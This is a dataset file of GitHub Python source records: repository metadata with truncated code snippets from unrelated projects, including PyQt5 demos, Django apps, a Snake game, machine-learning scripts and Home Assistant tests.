0fdfd0a2fe0d2384fb8bf820f0da8991e1d1fce7 | 0a6f6cf66643975895b099004d45aeef6c454c0f | /sshc/modelPredict.py | 8a20d7116d5d2059355091de88d95c096d89c681 | [] | no_license | hpqcp/Dryer-Project1 | 1f2a1d8bb22f1ab2af00087e9130a691e6cb052f | a0fbad8a45d6d03919cdc9f32d53da9879a7c36b | refs/heads/master | 2020-04-29T02:17:06.052118 | 2020-02-25T06:42:27 | 2020-02-25T06:42:27 | 175,760,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,810 | py | #
#
#
import pandas as pd
#
#
#return: 训练后模型 , 标准化对象X , 标准化对象y
def randomForest_model(_xTrain: object, _yTrain: object) -> object:
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import RandomForestRegressor
# 训练数据和测试数据进行标准化处理
ss_x = StandardScaler()
x_train = ss_x.fit_tran... | [
"14499382@qq.com"
] | 14499382@qq.com |
45ee8e725516dbf7e4470dd77fffccc3827108a8 | 98897a706b48f40ac34cf6d1722e086bd87043ff | /analysis_everglades/game_logic/test_battle.py | fa4026e51646220353ca57eb39ad74a07ab9862b | [] | no_license | shaunhyp57/everglades | dae28fb1695443fb6bb0a1e7c81d50b320dba400 | e4aab93d7fe8147ed3917605b2755ed429884b84 | refs/heads/master | 2022-04-25T03:07:24.999084 | 2020-04-27T16:32:12 | 2020-04-27T16:32:12 | 238,527,762 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,750 | py | ## Static Imports
import os
import importlib
import gym
import gym_everglades
import pdb
import numpy as np
from everglades_server import server
## Input Variables
# Agent files must include a class of the same name with a 'get_action' function
# Do not include './' in file path
agent0_file = 'agents/base_rushV1.py'... | [
"shaunhyp57@knights.ucf.edu"
] | shaunhyp57@knights.ucf.edu |
cc5c849e8b995ce39d61d9943324e59b7c3290cd | 553cced42ec61dc58753a6cc3e108a7c0695962c | /04-QWidget-焦点控制.py | c17715f3bc0b0c6c447b62bc46d218cd2e8b0116 | [] | no_license | dongsen2019/pyqt5 | 4023bbff61310e6f2cf92cbdf5d4d960a7705f4c | a5c166d28718119bdd2d1c2a2860e3dfeb936414 | refs/heads/master | 2023-01-29T22:24:50.702505 | 2020-12-13T12:01:55 | 2020-12-13T12:01:55 | 300,865,106 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,265 | py | # 0. 导入需要的包和模块
from PyQt5.Qt import *
import sys
class Window(QWidget):
def mousePressEvent(self, evt):
# print(self.focusWidget())
# self.focusNextChild()
# self.focusPreviousChild()
self.focusNextPrevChild(True)
"""
focusWidget() 获取当前窗口内部, 所有子控件当中获取焦点的那个控件
focusNextChi... | [
"378250523@qq.com"
] | 378250523@qq.com |
5311ad2fb6847110b4a1606ef629ada8e3ae8b27 | 688ae097a1f413f82c4a4f2840153e261a8504d4 | /main.spec | c69f5a6d2fd675096c0caa96c2e7cf7cb3a26355 | [
"MIT"
] | permissive | Danverr/DeliveryCalc | f1225401db3e47733199044800f6752c06933550 | c4384fc2a991817e09707288006937bd45183d71 | refs/heads/master | 2020-09-16T01:53:49.359474 | 2019-11-23T16:12:38 | 2019-11-23T16:12:38 | 223,615,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,240 | spec | # -*- mode: python -*-
block_cipher = None
a = Analysis(['DeliveryCalc.py'],
pathex=['.'],
binaries=[],
hiddenimports=['Code/*.pyd'],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
... | [
"noreply@github.com"
] | Danverr.noreply@github.com |
dcfd08920d5d8dc25f09f1674d7a69c10ecedbb1 | 1bed2f766620acf085ed2d7fd3e354a3482b8960 | /tests/components/sensibo/test_entity.py | 818d9ddb92499f60c743ebd9a3a8e50177e03817 | [
"Apache-2.0"
] | permissive | elupus/home-assistant | 5cbb79a2f25a2938a69f3988534486c269b77643 | 564150169bfc69efdfeda25a99d803441f3a4b10 | refs/heads/dev | 2023-08-28T16:36:04.304864 | 2022-09-16T06:35:12 | 2022-09-16T06:35:12 | 114,460,522 | 2 | 2 | Apache-2.0 | 2023-02-22T06:14:54 | 2017-12-16T12:50:55 | Python | UTF-8 | Python | false | false | 2,826 | py | """The test for the sensibo entity."""
from __future__ import annotations
from unittest.mock import patch
from pysensibo.model import SensiboData
import pytest
from homeassistant.components.climate.const import (
ATTR_FAN_MODE,
DOMAIN as CLIMATE_DOMAIN,
SERVICE_SET_FAN_MODE,
)
from homeassistant.componen... | [
"noreply@github.com"
] | elupus.noreply@github.com |
deb20b06a842a226505f4352f62729b0865cad89 | f0463eba4010126fc0574945c2f9b2cd6eb40cff | /Component/Windows.py | f5c0b35c5e82f1d6668ba09e042bf92cf2805776 | [] | no_license | Choewonyeong/Standard_Project3 | b572c3fbf2ac379980b95d7247c867f092b7a09d | 155903d450c1da7355914c72aa07b8f23a03e336 | refs/heads/master | 2022-06-21T18:51:42.766380 | 2020-05-08T00:28:04 | 2020-05-08T00:28:04 | 262,183,273 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,657 | py | from PyQt5.QtCore import Qt
from PyQt5.QtGui import QIcon, QPixmap
from PyQt5.QtWidgets import QWidget, QAction, QMenu, QMenuBar, QLineEdit
from PyQt5.QtWidgets import QDialog, QTableWidget, QTableWidgetItem, QLabel
from PyQt5.QtWidgets import QMessageBox, QComboBox, QTabWidget, QFileDialog
from PyQt5.QtWidgets import ... | [
"choewy@stdte.co.kr"
] | choewy@stdte.co.kr |
1c08ed7ab24404b2203e81b4ad894448a0dedbfd | efd4e7d85e2ae17853513e846ffce08288e3ff7b | /My_profile/urls.py | 2abf6fd7317aee120b4a64f0256870f5a5802713 | [] | no_license | bodawalan/Django_blog | e033bbb5547f17b668f2a582f71700f4a1353184 | 43b9505708a18dbb9da28cad020f1ae90d5a0e0e | refs/heads/master | 2021-01-19T11:29:42.448736 | 2017-04-12T20:06:21 | 2017-04-12T20:06:21 | 87,970,789 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 268 | py | from django.conf.urls import url,include
from django.contrib import admin
from My_profile import views
urlpatterns = [
#url(r'^', views.Name_view),
url(r'^address', views.Address_view),
url(r'^contact', views.contact),
url(r'^', views.Name_view),
]
| [
"nishit687539@gmail.com"
] | nishit687539@gmail.com |
d8620bee26ddf112e526f48d44d148a31175bc96 | 87fe3804869e2443c14317d766a5f8716afcd5d5 | /scripts/form_vocab.py | 91f0f437c6d7c6af9304603454eb1f3585f4c7c5 | [] | no_license | heidonomm/mhopRL | dbfd296dddf87507f6bb19d58b459a4df181ea57 | 93db4dda4646412f1783a6e05f9b779005539a2f | refs/heads/master | 2023-04-15T04:56:44.464898 | 2021-04-16T07:29:20 | 2021-04-16T07:29:20 | 344,776,721 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,936 | py | import nltk
from nltk import word_tokenize
from nltk import WordNetLemmatizer
import json
import string
# q_string = '{"id": "3NGI5ARFTT4HNGVWXAMLNBMFA0U1PG", "question": {"stem": "Climate is generally described in terms of what?", "choices": [{"text": "sand", "label": "A"}, {"text": "occurs over a wide range", "lab... | [
"heidonomm@gmail.com"
] | heidonomm@gmail.com |
905d02d242aba18398fcd2c714f97a9507bde437 | 424c3cff38aab3895a277de6a08dc0592ecd42e7 | /main.py | 44158692bb56951d5b8312b0c986e74fc8eb21bf | [] | no_license | kevinjavila/Snake-Game | 90718497961d92c268da8ebd5255eb080cc975d2 | 78bc5ba524662209a2a95510839bcd52f7b322c1 | refs/heads/master | 2023-08-26T06:57:57.485186 | 2021-10-26T21:05:07 | 2021-10-26T21:05:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,748 | py | import random
import pygame
class Cube:
rows = 20
w = 500
def __init__(self, start, dirnx = 1, dirny = 0, color = (255, 0, 0)):
self.pos = start
self.dirnx = 1
self.dirny = 0
self.color = color
def move(self, dirnx, dirny):
self.dirnx = dirnx
self.dirny... | [
"kevinavila32@gmail.com"
] | kevinavila32@gmail.com |
947921228a07d1818a52f9c16c3e1ce5adc60daa | 1fe1ee2f53c004f804e9fe69e6615d3897b63615 | /Snake/scoreboard.py | 09ce5b4d4a78cabf6605f7dc4adb6329f392d0ca | [] | no_license | jguillermo19/Python_Codigos | 396083da6d807a5af6170b6b7e52537ab530754a | b48ebfacacab79c9390a9119992d76ebb10ffbc1 | refs/heads/main | 2023-08-18T23:23:45.932209 | 2021-09-15T20:47:44 | 2021-09-15T20:47:44 | 402,956,446 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 798 | py | from turtle import Turtle, update
ALIGNMENT = "center"
FONT = ("Courier",15,"normal")
class Scoreboard(Turtle):
def __init__(self):
super().__init__()
self.score = 0
self.color("white")
self.penup() # No dibujar linea
self.goto(0,270) # Posicion
se... | [
"jsandovalh1500@alumno.ipn.mx"
] | jsandovalh1500@alumno.ipn.mx |
e7df89bb363a64317c365f5f45a13d4c5a2e4096 | a6c40c08da73bb1c65b48ce62ab6d035aa22fb41 | /cleaner.py | bf4b23c67d8b90905f2535e876ce701dd078ceaa | [] | no_license | SebasGarcia08/face-extractor | f279915a21fce2170f0b266378da10f7626c94a7 | d999518b27a19b149b43be494ec68578c38ab033 | refs/heads/master | 2022-11-04T20:19:15.528249 | 2020-06-10T15:55:30 | 2020-06-10T15:55:30 | 269,957,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,456 | py | from argparse import ArgumentParser
import insightface
import cv2
import os
import logging
import traceback
import shutil
from tqdm import tqdm, tqdm_gui
import time
import numpy as np
import tensorflow as tf
from tensorflow.keras.applications.mobilenet_v2 import preprocess_input
from tensorflow.keras.preprocessing.ima... | [
"segaracos@outlook.com"
] | segaracos@outlook.com |
cef0851b730719e6ec2ecdb6c1260034484790a2 | ce6df0cd2a21fd98d2a58793816f8be09658c73a | /loop.py | 98c95cd9761441e221a66e2e76c2e57395b90e8e | [] | no_license | MikeTheFyke/Python | 5ee6de684a0985fb28829da16982fe039884426e | 5fde6be8e8f1c5b90028a5dcd5f39bc149cdaca4 | refs/heads/master | 2021-01-05T09:00:08.564586 | 2020-03-03T21:47:05 | 2020-03-03T21:47:05 | 240,965,364 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,517 | py | rockosML = [
"Rocko Rama",
"Spunky",
"Heffer Wolfe",
"Ed BigHead",
"Bev BigHead",
"Filburt Turtle",
"Earl The Dog",
"Paula Hutchison"
]
print("\n--This is the start of the list--")
# Indenting in Python can define end points for for loops.
for name in rockosML:
print name
print("---... | [
"mikefyke@hotmail.com"
] | mikefyke@hotmail.com |
21c08f1cc6e33c90dd171f8ca67a5a0a1ef54b06 | 4f2dd2feb3d7a62c382534a563e4d823a324e5d9 | /src/imgUpload/views.py | 3038919b64f4ecdd9fa25f5b24356148eed74dc9 | [
"MIT"
] | permissive | codezerro/Django-Dev-To-Development-2 | fc727d72fea3af19e15bc42429a50e159760252b | 5e0780d2bdd8d3c5526a7cf813b14216336ed5f2 | refs/heads/master | 2022-12-21T23:29:35.655252 | 2020-09-22T02:31:49 | 2020-09-22T02:31:49 | 296,371,171 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 149 | py | from django.shortcuts import render
# Create your views here.
def imgCompress(request):
return render(request, 'imgupload/index.html')
| [
"kabircp08@gmail.com"
] | kabircp08@gmail.com |
c4ce2e6ba48d68bd21ff577fd3d57c7571c05689 | 50e6d7c4f7c3fe5127f4cc4634d6e9acdf8f5e17 | /evaluate_cpu_only.py | cb4b463f79c79755652b1a74c1effe49460c817c | [
"MIT"
] | permissive | Tiamat-Tech/gcn-cnn | 907500a2cd4b42a1d5e43192b1b09956db02ccbd | 6f9c685dd9ac9567746aa1904e549ecc00a7a712 | refs/heads/master | 2023-03-17T17:06:54.800458 | 2021-03-09T19:30:09 | 2021-03-09T19:30:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,552 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Nov 20 11:01:07 2019
Compute the performance metrics for graphencoder model
performance metrics includes iou, pixelAccuracy
@author: dipu
"""
import torch
from torchvision import transforms
import torch.nn.functional as F
import pickle
from scipy.spat... | [
"dips4717@gmail.com"
] | dips4717@gmail.com |
187daa4d61a1ac611a58cbcbda03db4114656f11 | ea71a043e78c2fcbf1e9a39ff11eb39c699edd63 | /core/views.py | 4697547485e970b1daab5211e1a32ce427e7ff05 | [] | no_license | wellvsilva/djangoecommerce | fcce49c57def11480b66187ed0343a3b552f81ec | 1bd9edcc5bd28f3a2721a489d389ef17efd343c7 | refs/heads/master | 2021-01-11T04:40:27.050588 | 2016-10-17T14:08:50 | 2016-10-17T14:08:50 | 71,141,786 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 307 | py | from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def index(request):
return render(request, 'index.html')
def contact(request):
return render(request, 'contact.html')
#def product_list(request):
# return render(request, 'product_list.html')
| [
"wellvsilva.programador@gmail.com"
] | wellvsilva.programador@gmail.com |
a8ac5edd27c7ac2656e13272e14dc4959808b147 | d4f7457a15472788821c31f3ffbbefc620e7984d | /student/migrations/0013_alter_project_upload_images.py | 04373a559a4e521a42d067291e21dee28c0666b7 | [] | no_license | shashiprajj/Resume_master | 9d3a48650d66b0912742676ada41810274f2b8e3 | 3acc94b0bb5dd140ea1ecc2fba2550ef71a556ef | refs/heads/master | 2023-07-02T15:14:18.578101 | 2021-08-07T20:21:21 | 2021-08-07T20:21:21 | 393,724,046 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 433 | py | # Generated by Django 3.2.3 on 2021-05-30 16:30
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('student', '0012_alter_project_upload_images'),
]
operations = [
migrations.AlterField(
model_name='project',
name='u... | [
"shashiprajj@gmail.com"
] | shashiprajj@gmail.com |
2d8682112e73378bda15b48f3f96e82f212dda8b | 96e2c852ce0ba975affacc90e31037dd3982ed4b | /BestPathVisualization/BestPathVisualizationLib/logic.py | 0480871de29e0fdeecaad1423d664039cdf113d8 | [] | no_license | StefanTUHH/robotic_needle_insertion | 9d5c3883f36ce325952e08b130bc355028ad1578 | 0b54ebcf97a0946ec3ba99cfbaef1d471482c9d5 | refs/heads/master | 2023-07-10T12:04:53.801630 | 2021-09-01T07:08:34 | 2021-09-01T07:08:34 | 400,170,804 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,514 | py | import sys
from itertools import compress
from typing import Optional
from numpy import linalg
import time
from multiprocessing import Process, cpu_count, Queue
from . import overlay
from .slicer_convenience_lib import *
try:
import sklearn
from scipy.spatial import ConvexHull
except ImportError:
slicer.ut... | [
"stefan.gerlach@tuhh.de"
] | stefan.gerlach@tuhh.de |
99efab2a162ffa1089de10df2b63c489eb0dbd71 | 48c9af57aa1956d15b7335ea88dfbd44333c3998 | /df_project_generate/__init__.py | d2d8463aa3df2da968f70d43fa907d725e4d6949 | [] | no_license | darfat/skp-jabar | eaf23685948fd6efd0604ef3a554b58a1cdd8bab | 30861ae8eb1f37d1b3832043f297515f1a98b2e8 | refs/heads/master | 2021-01-22T13:12:16.658917 | 2014-10-06T09:11:54 | 2014-10-06T09:11:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 974 | py | ##############################################################################
#
# Darmawan Fatriananda
# BKD Pemprov Jabar
# Copyright (c) 2014 <http://www.asdarfat.wordpress.com.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General ... | [
"darmawan.jtk04@gmail.com"
] | darmawan.jtk04@gmail.com |
ae30769610e5c080ac853d5fd9ad989664a4ac12 | 260aa7c38bfbae2bf7bdc17ab4e178f93bd60ec6 | /week8/Simple Project/blog/migrations/0001_initial.py | 781ab23cd2d83f79a2b17f7edffbccb747435a06 | [] | no_license | Orik236/Web_Orka236 | 0fe177febe193821f62cf3687865a11799662e13 | 49ddf61de35213be490b4aa08ad041231fe584e7 | refs/heads/master | 2023-01-09T22:22:40.846945 | 2020-04-16T22:47:38 | 2020-04-16T22:47:38 | 247,916,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,048 | py | # Generated by Django 2.2.11 on 2020-03-16 18:07
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
from django.utils.timezone import utc
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappab... | [
"orik236@gmail.com"
] | orik236@gmail.com |
16646a3eed6770bf209dba69949d33c6bcd46b9e | f71601a72f5fe57b8e21f71093dde06bf30d609d | /coding_solutions/Day16(3-06-2020)/PrimeInterval.py | 18446d9453565051fb5e83b99cd3d6c22745d631 | [] | no_license | alvas-education-foundation/Dhanya-bhat | eb812fdd6ae28bf45d9db3d1f691f0abc2ef926e | aadf27ca7ed0832e215db1938201bb3896df327b | refs/heads/master | 2022-12-02T07:59:01.386373 | 2020-08-10T13:11:50 | 2020-08-10T13:11:50 | 265,844,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 249 | py | l = int(input("Enter start point: "))
u = int(input("Enter end point: "))
for num in range(l,u + 1):
if num > 1:
for i in range(2,num):
if (num % i) == 0:
break
else:
print(num)
| [
"dhanyabhat29@gmail.com"
] | dhanyabhat29@gmail.com |
730e91b4e0c6f30bc58e9e97cc1c8d759cb3c311 | 3cc416df0c4697aa0f2dffb4d94e89f5cb62ec0e | /api/hypem/urls.py | baef22a54a09b3ed3a47056df93c2fb6c183a468 | [] | no_license | guess/hypem | 308ed022839e603056467ac9bff36b33cef438a5 | 028aaec7007fdf9d0f593cac463b7a5cd91b36b1 | refs/heads/master | 2016-09-10T14:33:04.402081 | 2015-03-07T20:21:41 | 2015-03-07T20:21:41 | 31,442,249 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 227 | py | from django.conf.urls import patterns, include, url
from django.contrib import admin
urlpatterns = patterns('',
url(r'^admin/', include(admin.site.urls)),
url(r'^(\w+)/(\w+)/(\d+)', 'hypem.views.home', name='home'),
)
| [
"stevetsourounis@gmail.com"
] | stevetsourounis@gmail.com |
2e9bb71c6257e2923c9b3b65dbe3d1d47201c11e | 795f88819c160f32c346e9698501957fa08cb743 | /dataGenerator/dataGenerator.py | c2a6d8ae1256deca034ab146eeee2aeefe47c2e1 | [
"MIT"
] | permissive | GwennaelBuchet/zenibar | 367c9526c4cb447c5eb28ec7bd95e5f8be575213 | ea7c8bcb287377ff416a80b477bce00b4edd63ad | refs/heads/master | 2021-09-05T05:29:27.734597 | 2018-01-24T12:10:29 | 2018-01-24T12:10:29 | 115,437,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,367 | py | from datetime import datetime as _dt
from datetime import date as _date
from datetime import timedelta as _td
import math
import random
import json
class Beer:
def __init__(self, id, brand, model, strongness, style, color, origin, price):
self.id = id
self.brand = brand
self.model = model
... | [
"gwennael.buchet@gmail.com"
] | gwennael.buchet@gmail.com |
93c947a317a1de8748f771cbb780924f92ae327a | ece7df4bc7425be27a55dc74f64c8d360454efb0 | /01_functions_are_objects.py | 6f911c0b6382b7a4a403190bc6a9b42f008389d6 | [] | no_license | zacniewski/Decorators_intro | 81321334fbce5638e0735e3c59a767bac3bd2d5a | e51a9ebcedcea29ac18d075747bd16a047c7af05 | refs/heads/master | 2021-01-14T11:25:34.143649 | 2014-01-02T10:54:08 | 2014-01-02T10:54:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 678 | py | def shout(word="yes"):
return word.capitalize()+"!"
print shout()
# outputs : 'Yes!'
# As an object, you can assign the function to a variable like any
# other object
scream = shout
# Notice we don't use parentheses: we are not calling the function, we are
# putting the function "shout" into the variable "screa... | [
"a.zacniewski@gmail.com"
] | a.zacniewski@gmail.com |
3d07ff6fbbfb99a178b400de391131d5e603ea46 | f389fb4ffdbdd71c108559ecbd269304706ef7c3 | /tutorial3/tutorial3.py | c287234fad183ee5484e4dd94c18c31289128b2f | [] | no_license | petrLorenc/School-web-data-mining-tutorials | a04176add4cde37a0fec4d24f050d2169af52a18 | d3d0c0a9e6945ac08fdd8f0b36661b9023ade044 | refs/heads/master | 2021-01-21T12:01:37.023238 | 2017-05-19T06:25:46 | 2017-05-19T06:25:46 | 91,772,927 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 604 | py | import nltk
import networkx
# input text
text = None
with open('text.txt', 'r') as f:
text = f.read()
# process text and convert to a graph
sentences = [[t for t in nltk.word_tokenize(sentence)] for sentence in nltk.sent_tokenize(text)]
G=nx.Graph()
# G.add_node(...
# G.add_edge(...
# ...
# visualise
plt.fi... | [
"petr.lorenc@firma.seznam.cz"
] | petr.lorenc@firma.seznam.cz |
b8f08a33fc0e8b8ddaecb9b9c29a5e20c4da5e32 | 047a9613723e6477e68624cb9c3aeb08bc1d4c8a | /src/_plotter.py | ab49aa83c46f2b322db46519f364eb23f4f35037 | [
"MIT"
] | permissive | phoenixding/cellar | 512ca1c8fe580081b49ceadf7dfa81648739658d | 4736b207e2b40a135f88cc2e677af620ea5ef20d | refs/heads/master | 2023-02-22T05:42:30.902617 | 2021-01-31T16:39:20 | 2021-01-31T16:39:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,346 | py | from typing import Optional, Union
import numpy as np
import plotly.express as px
from plotly.graph_objects import Figure
from anndata import AnnData
from .units import wrap
from . import reduce_dim_vis
from . import name_genes
COLORS = [
'#cc5151', '#51cccc', '#337f7f', '#8ecc51', '#7f3333', '#597f33', '#8e51c... | [
"euxhen_hasanaj@ymail.com"
] | euxhen_hasanaj@ymail.com |
444fd3d4ecdaaf0e9ceab752d1b0931729f02bbe | 245b92f4140f30e26313bfb3b2e47ed1871a5b83 | /airflow/providers/google_vendor/googleads/v12/errors/types/campaign_feed_error.py | 7a1cbbf42dce80b65a8b1c81159737e23be143fb | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | ephraimbuddy/airflow | 238d6170a0e4f76456f00423124a260527960710 | 3193857376bc2c8cd2eb133017be1e8cbcaa8405 | refs/heads/main | 2023-05-29T05:37:44.992278 | 2023-05-13T19:49:43 | 2023-05-13T19:49:43 | 245,751,695 | 2 | 1 | Apache-2.0 | 2021-05-20T08:10:14 | 2020-03-08T04:28:27 | null | UTF-8 | Python | false | false | 1,509 | py | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"noreply@github.com"
] | ephraimbuddy.noreply@github.com |
505d970dbb3fbfed63db57de304445fbdbfe37c9 | 5d24987bce37f5e5ae60a4f550d0b5723ebe7718 | /Preparing data/odata_download.py | 1dd62c7c0425686f3392f16d70f405b6a10739ee | [] | no_license | saraheikonen/eutrophication-drivers | 53e3c8138e4663cd0df1a54a47ee1a6b759ec652 | fadc7e08252ff9d144aea768c7f4a1153e479762 | refs/heads/main | 2023-04-14T09:10:13.728341 | 2022-07-13T11:21:06 | 2022-07-13T11:21:06 | 504,433,294 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,255 | py | # -*- coding: utf-8 -*-
"""
Created on Fri Jun 18 13:11:46 2021
@author: sarah
"""
from selenium import webdriver
from selenium.webdriver.support.ui import Select
import geopandas as gpd
import numpy as np
import os
# give paths to catchment shapefile (basins_path), to chromedriver.exe and where
# to s... | [
"noreply@github.com"
] | saraheikonen.noreply@github.com |
f9c5db59cf745e342ac21e9f1ee948e6452c7beb | c523eff326b8bc6c0c903bf7fe16ec3b98605bff | /choieungi/boj/다익스트라_우선순위큐.py | 24bc8f468ea051c8473f4f4dbe8747fbce8c0e78 | [] | no_license | IgoAlgo/Problem-Solving | c76fc157c4dd2afeeb72a7e4a1833b730a0b441d | 5cc57d532b2887cf4eec8591dafc5ef611c3c409 | refs/heads/master | 2023-06-26T05:12:02.449706 | 2021-07-14T06:57:00 | 2021-07-14T06:57:00 | 328,959,557 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,856 | py | import heapq
import sys
input = sys.stdin.readline
INF = int(1e9) # 무한을 의미하는 값으로 10억을 설정
# 노드의 개수, 간선의 개수를 입력받기
n, m = map(int, input().split())
# 시작 노드 번호를 입력받기
start = int(input())
# 각 노드에 연결되어 있는 노드에 대한 정보를 담는 리스트를 만들기
graph = [[] for i in range(n + 1)]
# 최단 거리 테이블을 모두 무한으로 초기화
distance = [INF] * (n + 1)
# 모든 간선 정... | [
"choieungi@gm.gist.ac.kr"
] | choieungi@gm.gist.ac.kr |
e7d869dd783dc38a75347e17f4554bba94a9bb86 | 78957a573d0554b3476698bb3c9cc07eb17e17d9 | /amplify/backend/function/awsamplifyauthstarte960f0db4/src/index.py | 321b1c7bfee9e77e88013a581370dac7b9090996 | [
"MIT-0"
] | permissive | BearTECH-Consulting-Inc/demo-phc-amplify-auth | a500275f94c512dd7b27d32e2c78553770c47181 | e20a1e503397a3d0fe0f26d93850d5d6c1429775 | refs/heads/main | 2023-08-10T21:58:31.380914 | 2021-09-15T03:01:46 | 2021-09-15T03:01:46 | 406,576,487 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 380 | py |
import json
def handler(event, context):
print('received event:')
print(event)
return {
'statusCode': 200,
'headers': {
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'OPTIONS,POST,GET'
},
'body': ... | [
"cameron.hebert@opsguru.io"
] | cameron.hebert@opsguru.io |
18d4a948b0ca382c4d01997d274c1deb0cbccddf | b92226895d04b0258981864e8604720de9c09f4d | /src/utils.py | 3200a377f749da6ea1b234e191737060009fa795 | [
"BSD-3-Clause"
] | permissive | aydinmemis/blog_FastAPI | e42a6c4f5a9c64154da0f9a23290c274b305838a | f584634a2cd410904df6a7d9478044d269737a91 | refs/heads/master | 2022-04-06T12:37:59.068303 | 2020-03-11T18:04:14 | 2020-03-11T18:04:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,688 | py | import logging
from datetime import datetime, timedelta
from pathlib import Path
from typing import Optional
import emails
import jwt
from emails.template import JinjaTemplate
from jwt.exceptions import InvalidTokenError
from core import config
password_reset_jwt_subject = "preset"
def send_email(email_to: str, su... | [
"socanime@gmail.com"
] | socanime@gmail.com |
7f394586d195a86c52647c95b64076218b61bfd6 | 395e06560c7b794a965add40c586684cb0b4e59c | /terrascript/ultradns/d.py | 6fdcb1b3110014abb8abde0673bba426c6116dbf | [
"BSD-2-Clause",
"Python-2.0"
] | permissive | alanyee/python-terrascript | f01edef3f6e21e5b18bc3295efef1657be17e3ca | e880e7650a7c3a88603d5429dafbacd28cd26c7e | refs/heads/develop | 2023-03-09T07:33:32.560816 | 2020-09-21T07:11:09 | 2020-09-21T07:11:09 | 300,696,024 | 0 | 0 | BSD-2-Clause | 2021-02-18T00:33:30 | 2020-10-02T17:57:18 | null | UTF-8 | Python | false | false | 28 | py | # terrascript/ultradns/d.py
| [
"ilon.sjogren@enplore.com"
] | ilon.sjogren@enplore.com |
b2f11b75731687ccd8e4067434d56405c463a273 | 87b4fe9df1abab807dd772b9df81bab45c5bf97b | /locallibrary/catalog/views.py | 4dd8b9c656691d24048eb8763b4ab905401a3c17 | [] | no_license | KCK90/Project | 191e0c87d6648497e9655da8700dd32654192724 | 3f734ed430a5f33d52aa4c5b2b7f31a99c4a28f5 | refs/heads/master | 2020-09-03T11:07:51.273842 | 2019-11-25T00:48:47 | 2019-11-25T00:48:47 | 219,449,889 | 0 | 0 | null | 2019-11-25T00:48:48 | 2019-11-04T08:15:10 | Python | UTF-8 | Python | false | false | 916 | py | from django.shortcuts import render
import csv
import pandas as pd
# Create your views here.
def post_list(request):
return render(request, 'post_list.html', {})
def koty(request):
print('About')
return render(request, 'koty.html', {})
def analiza(request):
return render(reques... | [
"noreply@github.com"
] | KCK90.noreply@github.com |
f59676ae9eac334e4b46372346f1f0b0d5844c4e | c60c199410289c1d7ec4aea00833b461e1f08f88 | /27-29-nov-2014/day1/stringiter2.py | 027138065a5897ed5823bf0d6c686f23c0a0f2de | [] | no_license | ver007/pythonjumpstart | 66fb111e6af197fad3e853b2c2d712a1b57a7d59 | 5b1f52479abd07456e2da494149e491d398f3b7d | refs/heads/master | 2021-01-21T01:34:35.501870 | 2015-05-13T14:10:13 | 2015-05-13T14:10:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 95 | py | __author__ = 'ravi'
s = 'aeiou'
i = 1
for char in s:
print "{}".format(char*i)
i += 1
| [
"ravi@rootcap.in"
] | ravi@rootcap.in |
ab71c633041e9986b2c5cc1c8215e65f32c791a3 | 4db0fb43c3aacfb56619c91c21508fcccc5fc158 | /Translation-stats/Translation-stats.py | 484fd134f54e7c2ed8a0a05458e8038ba4a0d513 | [] | no_license | xuchkang171/BoD-Translation-Zh | 10913c5c1b06b6715ee32c59e7553c564886bf02 | baa421441e08fc0b6991f14449e010862b382d1f | refs/heads/master | 2021-08-28T08:16:41.371836 | 2017-10-29T08:48:53 | 2017-10-29T08:48:53 | 107,788,086 | 0 | 1 | null | 2017-12-11T17:18:06 | 2017-10-21T14:41:29 | Python | UTF-8 | Python | false | false | 4,819 | py | import re, os, io
# Revise following two defines (language_code and r2g_path) before you start using this program.
# Two-letter codes, represents the target language of translation you're working on.
language_code = "zh" # Check https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes for yours.
# Path of your R2G folde... | [
"xuchkang171@gmail.com"
] | xuchkang171@gmail.com |
